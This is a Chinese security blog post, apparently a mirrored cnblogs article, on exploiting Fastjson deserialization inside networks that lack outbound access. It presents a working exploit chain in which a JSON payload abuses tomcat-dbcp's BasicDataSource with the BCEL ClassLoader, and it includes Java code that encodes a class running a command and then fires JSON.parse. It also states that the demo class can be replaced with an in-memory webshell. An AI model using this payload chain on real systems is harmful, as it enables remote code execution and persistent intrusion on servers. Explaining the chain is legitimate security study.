zoukankan      html  css  js  c++  java
  • Java安全之Fastjson内网利用

    Java安全之Fastjson内网利用

    0x00 前言

    在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是

    JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况就没办法使用该链去执行命令。JdbcRowSetImpl 链分析

    但在看到kingx师傅的一篇[Java动态类加载,当FastJson遇到内网]后,陷入了沉思。

    0x01 BCEL字节码

    这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl链去做本地的命令执行呢?其实前文中提到过这TemplatesImpl的漏洞触发点会有限制。调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数。

    而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。

     protected Class loadClass(String class_name, boolean resolve)
        throws ClassNotFoundException
      {
        Class cl = null;
    
        /* First try: lookup hash table.
         */
        if((cl=(Class)classes.get(class_name)) == null) {
          /* Second try: Load system class using system class loader. You better
           * don't mess around with them.
           */
          for(int i=0; i < ignored_packages.length; i++) {
            if(class_name.startsWith(ignored_packages[i])) {
              cl = deferTo.loadClass(class_name);
              break;
            }
          }
    
          if(cl == null) {
            JavaClass clazz = null;
    
            /* Third try: Special request?
             */
            if(class_name.indexOf("$$BCEL$$") >= 0)
              clazz = createClass(class_name);
            else { // Fourth try: Load classes via repository
              if ((clazz = repository.loadClass(class_name)) != null) {
                clazz = modifyClass(clazz);
              }
              else
                throw new ClassNotFoundException(class_name);
            }
    
            if(clazz != null) {
              byte[] bytes  = clazz.getBytes();
              cl = defineClass(class_name, bytes, 0, bytes.length);
            } else // Fourth try: Use default class loader
              cl = Class.forName(class_name);
          }
    
          if(resolve)
            resolveClass(cl);
        }
    
        classes.put(class_name, cl);
    
        return cl;
      }
    

    判断是否为$$BCEL$$的话则调用createClass方法,否则调用modifyClass方法返回一个class,modifyClass方法则是调用自带的classloader来加载。

    来看到createClass方法

    protected JavaClass createClass(String class_name) {
        int    index     = class_name.indexOf("$$BCEL$$");
        String real_name = class_name.substring(index + 8);
    
        JavaClass clazz = null;
        try {
          byte[]      bytes  = Utility.decode(real_name, true);
          ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
    
          clazz = parser.parse();
        } catch(Throwable e) {
          e.printStackTrace();
          return null;
        }
    

    截取$$BCEL$$字节后面的内容然后进行解密,解密为class字节码,调用defineClass进行加载字节码。

    com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字节码的解密和解密方法。

    String s =  Utility.encode(data,true);
    
    byte[] bytes  = Utility.decode(s, true);
    

    0x02 利用链

    添加tomcat依赖

    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>
    

    来看到poc

    {
        {
            "x":{
                    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                    "driverClassLoader": {
                        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                    },
                    "driverClassName": "$$BCEL$$$l$8b$I$A$..."
            }
        }: "x"
    }
    

    使用该poc加载bcel字节码。详细可移步到[Java动态类加载,当FastJson遇到内网]

    编写一个test类

    package com;
    
    import java.io.IOException;
    
    public class test {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    
    package com;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    class fj_test {
        public static void main(String[] argv) throws Exception{
            JavaClass cls = Repository.lookupClass(test.class);
            String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
            
            String poc = "{
    " +
                    "    {
    " +
                    "        "aaa": {
    " +
                    "                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    " +
                    "                "driverClassLoader": {
    " +
                    "                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    " +
                    "                },
    " +
                    "                "driverClassName": "$$BCEL$$"+ code+ ""
    " +
                    "        }
    " +
                    "    }: "bbb"
    " +
                    "}";
            System.out.println(poc);
            JSON.parse(poc);
        }
    }
    

    需要打内存马替换为内存马class即可。

    在tomcat8以后和tomcat7的版本存在一点小差异

    tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

    0x03 结尾

    即便如此我个人依然觉得fastjson并不能算是一个利用比较舒服的洞。而在实际中遇到更多的可能只是去进行反弹shell利用,需要使用becl必须考虑到fastjson版本问题。或在利用RMI/LDAP的话也会有JDK版本限制。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    android界面基本属性
    iOS请求webservice
    图片在鼠标经过时变大
    控制字体大小,em与px的区别与应用
    IE的另类CSS hack,条件注释
    几种流行的AJAX框架jQuery,Mootools,Dojo,Ext JS的对比
    CSS实现文字压在边线上的效果,fieldset与legend
    每个.NET 开发人员应该下载的十个必备工具
    css做出丰富的Tooltips
    .NET牛人应该知道些什么?
  • 原文地址:https://www.cnblogs.com/nice0e3/p/14949148.html
Copyright © 2011-2022 走看看